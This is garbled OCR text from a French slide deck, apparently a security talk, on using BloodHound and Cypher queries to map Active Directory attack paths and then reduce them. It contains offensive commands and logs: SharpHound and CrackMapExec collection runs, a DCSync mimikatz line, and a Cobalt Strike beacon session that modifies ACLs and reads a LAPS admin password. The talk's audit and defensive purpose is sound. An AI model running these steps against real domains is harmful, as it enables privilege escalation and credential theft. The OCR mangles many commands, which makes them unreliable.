(a:Attackers)-[:Think in]->(g:Graphs)



3

#w |Introduction

i

@ Cypher Queries

3

w Analytics Queries

w RETEX

¥

3

w Recommandations

F

w Questions

Plan



ez W
SEC displaynam
company: INT




Neodj SharpHound BloodHound




< & @ https;//neodj.com/download-center

Current Releases

Community Server

Neod4j Community Edition 3.5.3
11 February 2019 Release Notes | Read More

0S Download

Linux/Mac

Windows




O Why GitHub? Enterprise  Explore Marketplace Pricing Sign in ‘?‘.iqn up

<« BloodHound » BloodHound-win32-x64 v2.0.5 » Rechercher dans: Blo.. @

BloodHound s - .

Mom Maodifié le ¥ Taille
locales 29 ier de fichiers
rESOUrCES Dossier de fichiers
BloodHound. exe 28/11) Application

G‘ LICEMSES.chromium.htrml 311/ Chrome HTML Do...

") 9) C

b | OOd H oun d L. O pi-ms-win-core-censole-11-1-0.dIl

|%| api-ms-win-core-datetime-11-1-0.dlI

<« BloodHound » Ingestors » Le lans: Ing...

Mom Medifié e ¥ . Taille

DebugBuilds
SharpHound.exe

| & SharpHound.ps1



< C @ 127.0.0.1:7474/browser,

Connect UREL

bolt:(M127.0.0.1: 76587

. Username
require .
- neodj
authen L

connection.
Password

‘ Connect ‘



Cipher Query

3 MATCH (n) RETURMN count(n)

count(n)

Started streaming 1 records after 2 ms d after 3 ms




BloodHound

= Lars | ' ' Settings

Database Info
Node Collapse Threshold @

5 H_ﬁ

Database Info

DB Address bolt://localhost: 7687
DB User neodj Always Display

Users
Computers Node Label Display @

Edge Label Display @

Grou'ps Always Display

Sessions ; )

::Il;fionships ¢ Query Debug Mode @
Low Detail Mode @
Dark Mode @




RCLOVIS12964@TESTLAB.LOCAL

Q@ Set as Starting Node

nding Node
A Shortest Paths to Here
[# Edit Node

I Mark User as Owned

S
2]
27
2
e
8
2]
(2]
8
2]
27

D

RCLOVIS12964@TESTLAB.LOCAL




Graph Options

<4+ Add Node
> Add Edge
= Refresh Layout
13 Reload Query

&2 Change Layout

& Import Graph

X Export Graph

Add Node
Mode Name
MARKETIN

Node Type

Group

Add Edge
Source Node
MARKETINGO1179@TESTLAB.LOCAL
Edge Type
MemberQf
Target Node

MARKETINGSUBDIVISION@TESTLAB.LOCAL




MemberOf

Help: MemberOf

8
(2]
=7
27
(2]
S
2]
(2]
S
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Help: GetChanges

Help: GetChanges

siderations
nia . B - Aeratons With both GetChanges and GetChangesAll privileges in BloodHound, you may perform a desync attack to get the

ssword hash of bitrary pr | usir ik
The members of the group DOMAIN ADMINS@TESTLAB.LOCAL have the DS-Replication-Get-Changes privilege on the hepaword hishof-an athitraty principal using miniiets

domain TESTLAB.LOCAL

sekurlsa::dcsync /domain

Individually, this edge does not grant the ability to perform an attack. However, in conjunction with DS-Replication-Get You can also perform the more complicated ExtraSids attack to hop domain trusts. For information on this see the

Changes-All, a principal may perform a DCSync attack bl ot by RareniOy: o this refavencestal







BloodHound

SB[TT!NGER09556 JTESTLAB.LQCAL

JTRUSTY1 8469 @TESTLAB.LOCAL NBOYLSTON1912B@TESTLAB.LOCAL

S
ﬂ

" SVANOST1 @TESTLA tOCAEGARACS{CﬁyﬁﬁuTESTLAB LOCAL

TLAB. LOC L

: BLOC%P%@.:C&@ 14T STLAB DCAL -
)
";, \~ 4
R\ \ | A TIABLONSKT 1428@TESTLAB.LOCAL

CRADABAUGH16228 aTESTLAB LOCA‘[* = __Memberli—— )
JACOBOVITS1 1226@TESTLAB.LOCAL

° mm ADM:NS@TES&%MBM@ HESTLABLOCAL

SROLLENDO5904@TESTLAB LO@V“/ a7

A2

RECKARDO7059@TESTLAB, GEAL <,

\

égg@}fTFSTLABIOC MIERS00678@TESTLAB.LOCAL

@TESTLAB.LOCAL
0
BB1B 40@TESTLAB. MEYH@)SSNESTLAB LOCAL

LSKANEO2381 @TESTLJ@LQ I_AGEF203841 @TESJLAB.LOCAL

LRUSSEY17100@‘TESTLAB LOCAL BPOD09452@TESTLAB.LOCAL

MMCCOWEN17292@TESTLAB.LOCAL




BloodHound

Node Label

DOMAIN ADMINS@TESTLAB.LOCAL *a*

DELKANO0230@TESTLAB.LOCAL &

WMIERS00678

s g,__%;@,'lto ILAD.LULVAL

1S

20,

80K uﬁ}gzgz@TESTLAB.LOCAL

WMIERSO0KP 8N EEEARSCSRI FA56 @ PESICAB. LOCAL

Collapsed Into




BloodHound

Developer Tools - file:///D:/Tools/09_Red_Team/BloodHound/BloodHound-win32... — =

Mode Info Queries
= = - - — - - c . - ®
[k ﬂ Elements Console Sources Metwork  Performance  Memory  Application  » 3| 1

Fidiv Class dlEl:'J.EI:-,""I:II"E an® F OLY

WAL LW

Pre-Built Analytics Queries (G Clese displaynone /dty

Y
iv class="displaynone" :.< div

Find all Domain Admins ¥ odiv id="tab-style-pane-3" aris-lasbelledby="tab-style-tab-3" role="tabpansl

Find Shortest Paths to Domain Admins gria-hidden="false" class="fade tab-pane active in

Find Principals with DCSync Rights

:Pre-Bullt Analytics Queries</h3
div class="query-box">.</div
Groups with Foreign Domain Group Membership h33.</h3

Map Domain Trusts div class="guery-box"».</div
Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users
Shortest Path from Owned Principals

Shortest Paths to Domain Admins from Owned Principals Filter thov .cls
Shortest Paths to High Value Targets

Users with Foreign Domain Group Membership

html  bedy #rcot div div #searchdiv  #tabcontainer div #tab-style  div - #tab-style-pane-3 m

Styles | BEvent Listeners DOM Breakpoints Properties

b

. Jtab-content » divilast-child » div {
Custom Queries # < max-height: 609px;

overflow-yv: auvto;

Top Ten Users with Most Sessions
Top Ten Computers with Most Sessions
Top Ten Users with Most Local Admin Rights
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Pull requests 0

Branch: master v | BloodHound / Ingestors /

m rvazarkar Update ingestors

DebugBuilds
E] SharpHound.gxe

[E] SharpHound.ps1

Marketplace

Projects 0

Pricing
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Search / Sign in
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Find file | History
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$ ./SharpHound.exe -h
SharpHound v2.8.8
Usage: SharpHound.exe <options:»

Enumeration Options:

-c , --CollectionMethod (Default: Default)
Default - Enumerate Trusts, Sessions, Local Admin, and Group Membership
Group - Enumerate Group Membership
LocalGroup - Enumerate the Administrators, Distributed COM Users, and Remote Desktop Users groups
LocalAdmin - Enumerate the Administrators Group
DCOM - Enumerate the Distributed COM Users Group
RDP - Enumerate the Remote Desktop Users Group
Session - Enumerate Sessions
SessionLoop - Continuously Enumerate Sessions
LoggedOn - Enumerate Sessions using Elewvation
ComputerOnly - Enumerate Sessions and Local Admin
Trusts - Enumerate Domain Trusts
ACL - Enumerate ACLs
ObjectProps - Enumerate Object Properties for Users/Computers
Container - Collects GPO/OU 5tructure
DCOnly - Enumerate Group Membership, Trusts, ACLs, ObjectProps, Containers, and GPO Local Admins
All - Performs all enumeration methods except GPOLocalGroup and LoggedOn

This can be a list of comma seperated valued as well to run multiple collection methods!



-5 , --SearchForest
Search the entire forest instead of just current domain

-d , --Domain (Default: ")
Search a specific domain

--SkipGCDeconfliction
Skip Global Catalog deconfliction during session enumeration
This option can result in more inaccuracies!

--5Stealth
Use stealth collection options

--0u (Default: null)
Ou to limit computer enumeration too. Requires a DistinguishedName (OU=Domain Controllers,DC=contoso,DC=local)

--ComputerFile (Default: null)
A file containing a list of computers to enumerate. This option can only be used with the following Collection Methods:
Session, SessionLoop, LocalAdmin, ComputerOnly, LoggedOn

--ExcludeDC
Exclude domain controllers from session queries. Useful for ATA environments which detect this behavior



PS C:\Usersiwat> Get-Help Invoke-BloodHound

MNOM
Invoke-BloodHound

SYNTAXE

Invoke-BloodHound [[-CollectionMethod] <string[]>] [[-Domain] <string>] [[-LdapFilter] <string>]
[[-ComputerFile] <string>] [[-OU] <string>] [[-DomainController] <string>] [[-LdapPort] <int>»]
[[-LDAPUser] <string>] [[-LDAPPass] <string>] [[-Threads] <int>] [[-PingTimeout] <int>]
[[-LoopDelay] <int>»] [[-MaxLoopTime] <string>] [[-Jitter] <int>] [[-Throttle] <int>]
[[-I50NFolder] <string>] [[-J150NPrefix] <string>] [[-ZipFileName] <string>] [[-CacheFile]
<string»] [[-StatusInterval] <int>»] [-SearchForest] [-Stealth] [-SkipGCDeconfliction]
[-ExcludeDC] [-SecurelLdap] [-IgnoreldapCert] [-DisableKerbSigning] [-SkipPing] [-NoZip]
[-EncryptZip] [-RandomFilenames] [-Prettylson] [-Invalidate] [-MoSaveCache] [-Verbose]

ALTAS
Aucunie)

REMARQUES
Aucun(e)



C:\Users\test\Desktop>SharpHound.exe
Initializing BloodHound at 14:14 on 85/83/2819
Unable to contact domain. Try from a domain context!

C:\WUsers\test\Desktoprnltest /dclist:intrinsec.neurones.sa

Obtenez la liste des contrdleurs du domaine « intrinsec.neurones.sa » & partir de « \\ .Intrinsec.neurones.
sa =,
Vous n'avez pas accés a DsBind pour intrinsec.neurones.sa (\) Intrinsec.neurones.sa) (essal avec NetServer
Enum) .

I MNetGetDCList a échoué : Status = 87 8x57 ERROR_INVALID PARAMETER
C:\Users\test\Desktop>runas fuser:intrinsecl\wat /ne cmd.exe
Entrez le mot de passe de intrinsech\wat

Tentative de lancement de cmd.exe en tant qu’utilisateur "intrinsechwat"”

cmd.exe (en tant qu'utilisateur intrinsec\wat) e -d intrinsec.neurones,sa

C:\Wsers\test\Desktopsrnltest /dclist:intrinsec.neurones.sa

Obtenez la liste des contrdleurs du domaine « intrinsec.neurones.sa » 3 partir de « \\ .Intrinsec.neurones.
sa ».

.Intrinsec.neurones.sa [Ds] Site

.Intrinsec.neurones.sa [DS] Site

.Intrinsec.neurones.sa [PDC] [Ds] Site
La commande a &té correctement exécutée

C:\Usersh\test\Desktop>SharpHound. exe
Initializing BloodHound at 14:16 on 85/83/2819
Unable to contact domain. Try from a domain context!

C:\Users\test\Desktop>SharpHound.exe -d intrinsec.neurones.sa

Initializing BloodHound at 14:17 on 85/83/2819

Resolved Collection Methods to Group, LocalAdmin, Session, Trusts, RDP, DCOM
Starting Enumeration for intrinsec.neurcnes.sa



[05/03/2019 14:43:34] 192.1658.226.153 # bloodhound-python -u wat -d intrinsec.neurcnes.sa -V
Password:

DEBUG: EResolved collection methods: localadmin, session, group, Lrusts

DEBUG: Using DNS to retrieve domain information

DEBUG: Querving domain controller information from DNS

DEBUG: Using domain hint: intrinsec.neurones.=sa

INFC: Found AD domain: intrinsec.neurones.sa

DEBUG: Found primary DC: JIntrinsec.neurones. sa

DEBUG: Found Global Catalog server: trinsec.neurcnes.sa
DEBUG: Found Global Catalog server: intrinsec.neurones.sa
DEBUG: Found Global Catalog server: Oeurones. sa

DEBUG: Found Global Catalog sServer: BEUrones.sa

DEBUG: Found Global Catalog server: trinsec.neurcnes.sa
DEBEUG: Using LDAP server: JIntrinsec.neurones.sa

DEBEUG: Using base DN: DC=intrinsec, DC=neurones, DC==a

INFC: Connecting to LDAP server: JIntrinsec.neurones.sa

DEBUG: Authenticating to LDAP server

[05/03/2019 14:52:31] 192.168.226.183 # bloocdhound-python —u wat —d intrinsec.neurones.sa
——hashes -

DEBUG: Authentication: NILM hashes

DEBUG: Resolved collection methods: localadmin, =Session, group, trusts

DEBEUG: Using DHNS to retrieve domain information

DEEUG: Querying domain controller information from DHS

DEBUG: Using domain hint: intrinsec.neurones.sa

INFO: Found AD domain: intrinsec.neurones.sa

DEBUG: Found primary DC: Intrinsec.neurones. sa

DEBUG: Found Global Catalog server: .Oeurones.sa

DEBUG: Found Global Catalog server: eurones.sa

DEBUG: Found Global Catalog server: trinsec.neurones.sa
DEBUG: Found Global Catalog server: trinsec.neurcones.sa

DEBUG: Found Global Catalog server: intrinsec.neurones.sa



[05/03/2019 14:22:08] 1%2.16E8.226.183 # cme smb 192.168.226.1 -d intrimnsec -u wat -H -M bloodhound

odule is not opsec safe, are you sure you want to run this? ¥/n] ¥
SMEB 182.168.226.1 445 [#] Windows 6.3 Build 9600 x64 (name: ) {(domain:intrin=sec) (signing:False)} (SMBvl:False)
SMEB 182.168.226.1 445 [+] intrinsechwat (Pwn3d!)
BLOCDHOU. .. 192.168.226.1 445 [+] Executed launcher
BLOODHOU. . . [#] Waiting on 1 host(s)
BLOCDHOU. .. 192.168.226.1 [*] - - "GET fBloodHound-modified.psl HITPES1.1™ 200 -
BLOODHOU. .. 1S2.1&68.226.1 [+] Executing payload... this can take a few minutes...
BLOODHOU. . . [#] Waiting on 1 host(s)
BLOODHOU. . . [#] Waiting on 1 host(s)
BLOODHOU. . . [#] Waiting on 1 host(s)
BLOODHOU. . . [#] Waiting on 1 host(s)
BLOCDHOU. .. 192.168.226.1 [¥] - - "POST f HTITES1.1"™ 200 -
BLOODHOU. .. 1S2.1&68.226.1 [¥] Saved c3v ocutput to user ses3ions-192.168.226.1-2019-03-05_142340.c=v
BLOODHOU. .. 1S2.1&68.226.1 [¥] Saved c3v ocutput to group membership.csv-192.168.226.1-20159-03-05_142340.csv
BLOODHOU. .. 1S2.1&68.226.1 [¥] Saved c3v ocutput to local admins.c3v-192.168.226.1-2015-03-05_142340.c=v
BLOODHOU. .. 1S2.1&68.226.1 [¥] Saved c3v ocutput to trusts.c3v-192.168.226.1-2019-03-05_142340.c=v
BLOODHOU. .. 1S2.1&68.226.1 [+] Successfully retreived data



« Meodj » neodj-cornmunity-3.53 » data » databases »

<« BloodHound ¢ BloodHoundExampleDB.graphdb v | O Rechercher dans: Blo... 0@
BlocdHoundExampleDB.graphdb

certificates || neostore.propertystore.db.id _|store_lock

data |_| neostore.propertystore.db.index

logs | | neostore.propertystore.db.indexid

schema | | neostore.propertystore.db.index keys

| | neostore || neostore.propertystore.db.index keys.id

: Database Info
|_|neostore.counts.db.a | | neostore.propertystore.db.strings

|| neostore.counts.db.b |_| neostore.propertystore.db.strings.id

| | neostore.id |%| neostore.relationshipgroupstore.db Data base Info

|%| neostorelabelscanstore.db || neostorerelationshipgroupstore.db.id

DB Address bolt://localhost: 7687
DB User neodj
Users 391
Computers 269
Groups 148
Sessions 418
ACLs 0
Relationships 5991

/%) neostore.labeltokenstore.db |%| neostore.relationshipstore.db

|| neostorelabeltokenstore.db.id || neostorerelationshipstore.db.id

| | neostorelabeltokenstore.db.names |%| neostore.relationshiptypestore.db

| | neostorelabeltokenstore.db.names.id | | neostore.relationshiptypestore.db.id

|%| neostore.nodestore.db || neostorerelationshiptypestore.db.names

| | neostore.nodestore.db.id || neostare.relationshiptypestore.db.names.id
|| neostorenodestore.db.labels |%| neostore.schemastore.db

|| neostore.nodestore.db.labels.id || neostore.schemnastore.db.id

%] neostore.propertystore.db | | neostoretransaction.db.0
|| neostore.propertystore.db.arrays | |store_lock

|| neostore.propertystore.db.arrays.id




$ python switchDB.py
[+] Neo4] Database Path: D:\Tools\82_Red Team‘\Neodj\neodj-community-3.5.3\data\databases

[+] Available Databases:

[6]: Create new DB

[1]: BloodHoundExampleDB.graphdb
[2]: TESTLAB.LOCAL 28008

[3]: TESTLAB.LOCAL 588

Please select the Database to switch to: 2

[!] Switching to Database 'TESTLAB.LOCAL 28668°
[!] Restarting Neodj service

Le service Neodj Graph Database
Le service Neodj Graph Database

neodj s'arréte.
neod]j a été arréte.

Le service Neodj Graph Database
Le service Neodj Graph Database

neodj démarre.
neod]j a démarré.

[+] Neod4j database ready, please refresh BloodHound DB stats
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$ python DBCreator.py

Documented commands (type help <topic») =

clear_and_generate cleardb connect dbconfig exit generate help setnodes

Database Info

(Cmd) connect
De:ebese Connection Successful!

(Cnd) generate Database Info

Populating ‘; ndard Modes DB Address bolt://localhost:7687

HLL_Iﬂg standard 'l._gl-:“s v
Generating Computer Nodes DB User neodj

Creating Domain Controllers Users 300

Generating User Nodes Computers

Generating Group Nodes
Adding Domain Admins to Local Admins of Computers Groups

Creating 25 Domain Admins (5% of users capped at 3@) Sessions
Applying random group nesting ACLs
Adding users to groups

Calculated ? groups per user with a variance of - 6 Relationships
Adding local admin rights

Adding RDP/ExecuteDCOM/AllowedToDelegateTo

Adding sessions

Adding Domain Admin ACEs

reating OUs

*ea:irg GPOs

Adding outbound ACLs to 3 objects

Marking some users as Kerberoastable

Adding unconstrained delegation to a few computers

(]

|‘_\

Database Generation Finished



{(Cmd) setnodes 28800

(Cmd) generate

Starting data generation with nodes=28688
Populating Standard Nodes

Adding Standard Edges

Generating Computer Nodes

Creating Domain Controllers

Generating User Nodes

Generating Group Nodes

Adding Domain Admins to Local Admins of Computers
Creating 38 Domain Admins (3% of users capped at 38)
Applying random group nesting

Adding users to groups

Calculated 18 groups per user with a variance of - 18
Adding local admin rights

Adding RDP/ExecuteDCOM/AllowedToDelegateTo

Adding sessions

Adding Domain Admin ACEs

Creating OUs

Creating GPOs

Adding outbound ACLs to 141 objects

Marking some users as Kerberoastable

Adding unconstrained delegation to a few computers
Database Generation Finished!

Database Info

DB Address
DB User
Users

Computers
Groups
Sessions
ACLs
Relationships

Database Info

bolt://localhost: 7687
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Noeud : ()



Noeud : ()

Relation : [ ]



Noeud : ()
Relation : [ ]

Modeles de recherche possibles (pattern) :

()=[1-()



Noeud : ()

Relation : [ ]

Modeles de recherche possibles (pattern) :
()=11=0)
()=[1=>()



Noeud : ()

Relation : [ ]

Modeles de recherche possibles (pattern) :
()=11=0)
()=[1=>()
()<=11-()



Neoeud : ()

Relation : [ ]

Modeles de recherche possibles (pattern) :
()=[1-0)
()=[1—>()

()<=[1-0() (Foo?) F~-



MATCH (S)-[R]->(D) RETURN S,R,D

MATCH : Modeles de recherche (pattern) présents dans la base Neo4j



MATCH (“)-[R]->("") RETURN S,R,D

MATCH : Modeles de recherche (pattern) présents dans la base Neo4j

| ) : S (source) et D (destination)



MATCH (°)-[R]->("") RETURN S,R,D

MATCH : Modeles de recherche (pattern) présents dans la base Neo4j
| ) : S (source) et D (destination)

[ ] : Relation entre S et D



MATCH (5)-[R]->(D) RETURN S,R,D

MATCH : Modeles de recherche (pattern) présents dans la base Neo4j
| ) : S (source) et D (destination)
[ ] : Relation entre S et D

S, R, D : Variables a retourner



BloodHound

RCLOVIS12964@TESTLAB.LOCAL

Node Info

User Info
Name RCLOVIS12964@TESTLAB.LOCAL
Display Name Raeann Clovis

Password Last Changed  Sun, 21 Oct 2018 08:52:17 GMT
Last Logon Never
Enabled True

Compromised

"
Sessions . m c m e s
Sibling Objects in the Same OU 20 y n l
Reachable High Value Targets
Effective Inbound GPOs
)

See User within Domain/OU Tree
RCLOVIS12964@TESTLAB.LOCAL

Group Membership

First Degree Group Memberships
Unrolled Group Membership
Foreign Group Membership

Local Admin Rights

First Degree Local Admin

Group Delegated Local Admin Rights
Derivative Local Admin Rights

Execution Privileges

First Degree RDP Privileges

Group Delegated RDP Privileges
First Degree DCOM Privileges
Group Delegated DCOM Privileges
Constrained Delegation Privileges




MATCH (n:User) WHERE n.name = "RCLOVIS12964@TESTLAB.LOCAL" MATCH p=(n)-[r:MemberOf*1..1]->(m) RETURN p

BloodHound

o

—"

DOMAIN USERS@'ESTLAB.LOCAL

P ,_,-~»MARVKETENG1 892§§?TESTLAB.LOCAL

= MARKETIN61084@}“‘TESTLAB.LOCAL

2| M}&RKETINGO767§:‘TESTLAB.LOCAL

 MARKETING1 521§;~TESTLAB. LOCAL

o

\-,\MAhKETINGl845%}‘:TESTLAB.LOCAL
\ ﬁ‘"MARKETINGOQO@%}‘&TESTLAB.LOCAL
MARKETING1367g@ TESTLAB.LOCAL

MARKETING14679@TESTLAB.LOCAL

WHERE n.name = "RCLOVIS12 LAB.L MATCH p=(n)-[rMemberOf*1..1]->(m) RETURN p




MATCH (n:User) WHERE n.name = "RCLOVIS12964@TESTLAB.LOCAL" MATCH p=(n)-[r:MemberOf*1..2]->(m) RETURN p

BloodHound

DOMAIN USERS@ESTLABLOCAL

_MHRKETINGOT6TZ@TESTLAB LOCAL

S IARKETINGO9064@TESTLAB.LOCAL

>
- =
{:"';,v—\"f o0 _MARKETING1 O8@‘TESTLAB,LOCAL MARKETINGO1179@TESTLAB.LOCAL

P~

MARKETING] 467&@'TESTLAB,LOCAL
\#\\RKETING1 5214 TESTLAB.LOCAL
MARKETIN@ 646&@TESTLAB,LOCAL
"\\_ «
MART(ETING1733@:TESTLAB.LOCAL
MARKETING1 845@:TESTLAB,LOCAL

MARKETING18926@TESTLAB.LOCAL

¥ Raw Query¥ \

MATCH (n:User) WHERE n.name = "RCLOVIS @ TESTLAB.I MATCH p=(n)-[rMember0f*1..2]->(m) RETURN p




MATCH (n:User) WHERE n.name = "RCLOVIS12964@TESTLAB.LOCAL" MATCH p=(n)-[r:MemberOf*1..]->(m) RETURN p
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Queries

Pre-Built Analytics Queries

ths to Domain Admins
ith DCSync Rights

Mer

)omain Group

VKASKEY1659
BLETTIERE1871

KHOBB10140(ge

JOEHLSCHLAGERO
RMOLINARY182
SBITTINGER095

JMYLART1851
BKLOUDAOS599
MMCCOWEN172
RSPERLICH1481

BPOD0%452@H

JTRUSTY18469
EHAMBERG1904
RECKARDO705
LSKANED2381

SJACOBOVITS11238

AMINTY 11938

DELKANO00230 (38

LRUSSEY 17106

SVANOST14753%

WMIERS00678;

FKUETER19276

CCARACS00126
KPETTINATO148

MLEE17355@%

FJABLONSKI114
SROLLENDO0590

IEJILI .I QCAL

BloodHound

£S5 [ LADTOCAE

ESTLAD.LUUAL

ESTLAD LOCAL

LOCAIL

STLABLGGAE

FOCAL
AB.LOCAL

GelChanges

ENTERPRISE ADMINS@TESTLAB.LOCAL

CRADABAUGH16Z8{@ TESTLAB.LOCAL
NBOYLSTON19123@TESTLAB.LOCAL

AemberOl
MemberQf

s ﬁ@@é&ée DOMAIN CONTROLLERS@TEST

—

TXLABDC. TS

FLLABDOC TESTLAB.LOCAL DOMAIN CONTROLLERS@TESTLAB.LOCAL




o Domain Admins from Owned Principals

o High Value Tar

BloodHound

.‘\
25
YB.LOCAL

PBLOODSWERTH12288@
L

i3 @/ IT18186@TE

CanfOP__

%MCOMP] 1965.TESTLAB.LOCAL

TESTLAB_GPO_1 3%@TESTLAB,LOCAL

=

RCLOVIS12964@TESTLAB.LOCAL

TX_USERS@TESTLAB.LOCAL

g

DOMAIN ADMINS@TESTLAB.LOCAL
£3

JOEHLSCHLAGERO3841@TESTLAB.LOCAL



Custom Queries

{} customqueriesjson X

. b c b Users b wat b AppData » Roaming » bloodhound ¢ {} customquerie
1 i
"queries”: [
"name” :
"queryList":[

{

"final": true,
"requireNodeSelect”: fal
"allowCollapse": false
"startNode": "{}"

“name" :
"queryLi

{

"final®: true,
"requireNodeSelect”: fa
"allowCollapse”: f

Json b ...




BloodHound

Hassession

Queries

= RSPERUICHT48 §d
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AMINTY1 1938 @N=S

ECARACSO01 26 g

KPR 55G
FJABLONSKIT147%
~ SROLLENDO5904.
— CRADABAUGHT62@BQTESTLAB.LOCAL
NBOYLSTON19123@TESTLAB.LOCAL




$ python inject_owned.py TESTLAB.LOCAL owned.txt "LLMNR"
[+] Domain: TESTLAB.LOCAL
[+] Input owned file: owned.txt

imported
imported
imported
imported
imported

RCLOVIS12964@TESTLAB. LOCAL user
BOBERLANDERB7B7G@TESTLAB . LOCAL user
GROCKYMORE®EBB2@TESTLAB . LOCAL user
TKEENETHBE887@TESTLAB. LOCAL user
NCHHOREBB823@TESTLAB . LOCAL user

n.wave

"LLMNR"
"LLMNR"
"LLMNR"

"LLMNR"




BloodHound

%‘M;;‘W i
BOBERLANDERQO7070@TESTLAB.LOCAL
COMP17352.TESTLAB.LOCAL

LOCAL - NY_USERS@TESTLAB.LOCAL
TESTLAB_GPO_12@TESTLAB.LOCAL NBOYLSTON19123@TESTLAB.LOCAL




BOBERLANDERQ70

BOBERLANDER(O7070@TESTLAB.LOCAL

Name

owned

domain

Custom Queries 7o
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Attaque : Exploitation des mauvaises pratiques d'administration

Administration des postes/serveurs via des comptes d’administrateurs du domaine
Nombre important d’administrateurs locaux via des groupes imbriqués

Mauvaise configuration des DACL (Discretionary Access Control List)

Présence d’informations sensibles dans les descriptions des comptes

Manque de mise a jour des serveurs

Politigue de mot de passe faible



Mauvaise configuration des DACL (Discretionary Access Control List)

B Mem be_i}‘ g
() )




Mauvaise configuration des DACL (Discretionary Access Control List)

Help: AllExtendedRights

has the AllExtendedRights privilege to the computer
Extended rights are special rights granted on objects which allow reading of

privileged attributes, as well as performing special actions

Help: AllExtendedRights

A 2.4% P _"-
Abuse Info

talled in the environment, the AllExtendedRights privilege grants
the RID 500 administrator password of
can do so by listing a computer object’s A
DomainComputer {}. The value of the ms-mes-AdmPwd property will contain passworc

account on
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Mauvaise configuration des DACL (Discretionary Access Control List)

beacon> reviself
[*] Tasked beacon to revert token
[+] host called home, sent: & bytes

beacon> powerpick $SecPassword = ComvertTo-SecureString '

System.Management . Antomation.PSCredential ('

System.Management . Antomation.PSCredential ('

[+] host called home, sent: 133715 bytes

beacon> powerpick Get-DomainObject -Identity
[*] Tasked beacon to run: Get-DomainObject -Identity

[+] host called home, sent: 133715 bytes
[+] receiwved output:

(uoucnolnlcntnu.a.cloo.ao

' -AsPlainText -Force; 5Cred = New-Object
', 55ecPassword) ; Add-DomainObjectAcl -Credential $Cred -TargetIdentity
-Principalldentity dprigent -Rights All
[*] Tasked beacon to run: 35ecPassword = ConvertTo-SecureString ' ' -AsPlainText -Force; 5Cred = New-Object
', 55ecPassword) ; Add-DomainObjectAcl -Credential $Cred -TargetIdentity

-Principalldentity dprigent -Rights All (unmanaged)

-Properties ms-mcs-admpwd
-Properties ms-mcs-admpwd (unmanaged)

@ 2164

beacon> make token

[*] Tasked beacon to create a token for
[+] host called home, sent: 51 bytes
[+] Impersonated

beacon> (1= \\

[*] Tasked beacon to list f les in \\
[+] host called home, sent: 54 bytes
[*] Listing: “\

Size Type Last Modi|ied
dir 07/08/201% 10:24:35
dir 06/12/201% 19:41:05
dir 07/14/200% 07:08:56
dir 06/12/2018 19:47:02
dir 1271272018 15:29:45
dir 06/12/201% 11:01:02
dir 09/322/2016 12:47:15%
dir 07/14/200% 05:20:08
dir 12/10/201% 09:50:13
dir 1271272018 15:05:42
dir 01/03/201% 13:07:51
dir 11/20/2018 09:58:26
dir 11/22/2018 09:54:08
dir 06/12/2018 10:52:01
dir 06/12/2018 10:49:03
dir 01/03/201% 14:03:06
dir 07/08/2018 10:24:30
dir 01/01/201% 21:59:38

39kb fil 06/12/2018 19:47:15

710k fil 06/12/2018 19:47:21

\C&
\CS

NCEY

Hame

SRecycle.Bin

Boot

Documents and Settings
Drivers

found. 000

Intel

MS0Cache

PerflLogs

Program Files
Program Files (x86)
ProgramData
Projets

Ouarantine
Recovery

System Volume Information
Temp

Users

Windows
AddDriver.log
AntoDrivers.log



Présence d’informations sensibles dans les descriptions des comptes

) is not null RE..

n.description

"MGILBERTO
"DENG

splaying first 1000




Manque de mise a jour des serveurs

1.0peratl.
n.operatingsystem

"Windows Server 2003"

rver 2003"

MATCH (n)

WHERE n.operatingsystem =~ " *XP.*"
OR n.operatingsystem =~ ".*2000.*"
OR n.operatingsystem =~ ".*2003.*"

RETURN n.name,n.operatingsystem

Started stream > ms and completed after 349 ms
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Politique de mot de passe faible

$epochl RETURN n.name e
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Attaque : Exploitation des mauvaises pratiques d'administration

~~ﬂ.:;f\,‘f'---,-.,‘Figure out how you

Get Hacked ‘
Reactionary got hacked
Enterprise =
Security |
Attempt to fix what the

hackers abused

Source : https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-one-e38e06ffd604



Défense : Détection des risques résiduels (Adversary Resilience Methodology)

Enumerate Analyze Attack
Attack Paths Paths
Active
Directory
Resilience
Methodology
Deploy Prioritized " Generate Resilience

Fixes Hypotheses

Source : https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-one-e38e06ffd604



Ordinateurs avec des sessions relatives aux membres du groupe « Admins de domaine »

COMP09119
WALABDC
COMPD/088 AB Y "KHOBB10140(
comm Oglg ) JOEHALSCHLAGERO
covei e 2;1%::{::;;5%
———— g 7 4 % 05
ESTLAE.L . : ( >

Mode Info -
=—RSPERLICH14814
BPOD09452

Node Infc
Name

COMP16931

COMP09283

EOMP05966
Reachable High Value Targets COMP17544
COMP05816

Sessions 6 COMP16046 e — o ', _ TECR DOMAINADMINS@TESTLAB.LOCAL

Group Member
Direct Members
Unrolled Members
Foreign Members

o o

i e Pl i e Pl s Yo |
00 == OO0 S S ] = PO~
NN O O ~J OV
ON OO~ WOV W ~ICo
OWWOOLONWO—-OOW

1 el be— = o 4
COMP18261 LAB LOCAL —— e sROLLENDosoo@TE} "AB.LOCAL
COMP17352 (B HABkOE Al

COMP14398 8 LOCAL - —CRnDnB,-\UGHm_@'d‘TESTLAB LOCAL

NBOYLSTON1912 ESTLAB.LOCAL

70.
COMP08095 TESTLAB LOCAL



Analyse du nombre total d'administrateurs locaux sur I'ensemble de ces ordinateurs

MATCH p = (ul:User)-[r:MemberOf| AdminTo*1..]-
>(c:Computer)-[r2:HasSession]->(u2:User)-
[r3:MemberOf*1..]->(g:Group {name:'DOMAIN
ADMINS@TESTLAB.LOCAL'})

RETURN COUNT(DISTINCT(ul)) AS adminCount,c.name
as computerName

ORDER BY adminCount DESC

er 118 ms and completed after 115 ms
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Détection et réduction des risques résiduels (Adversary Resilience Methodology)

Enumerate Analyze Attack
Attack Paths Paths
Active
Directory
Resilience
Methodology
Deploy Prioritized " Generate Resilience

Fixes Hypotheses

Source : https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-one-e38e06ffd604



Journal ID Champ Valeur Commentaire
Security 4624 LogonType 3 An account was successfully logged on
Security 4634 LogonType 3 An account was logged off
Security 5140 SharePath \\*\IPCS A network share object was accessed
(Nécessite I'activation de la stratégie d'audit « Audit file share » )

Logon Type Description

p) Interactive (logon at keyboard and screen of system)

4 Batch (i.e. scheduled task)

) Service (Service startup)

7 Unlock (i.e. unnattended workstation with password protected screen saver)

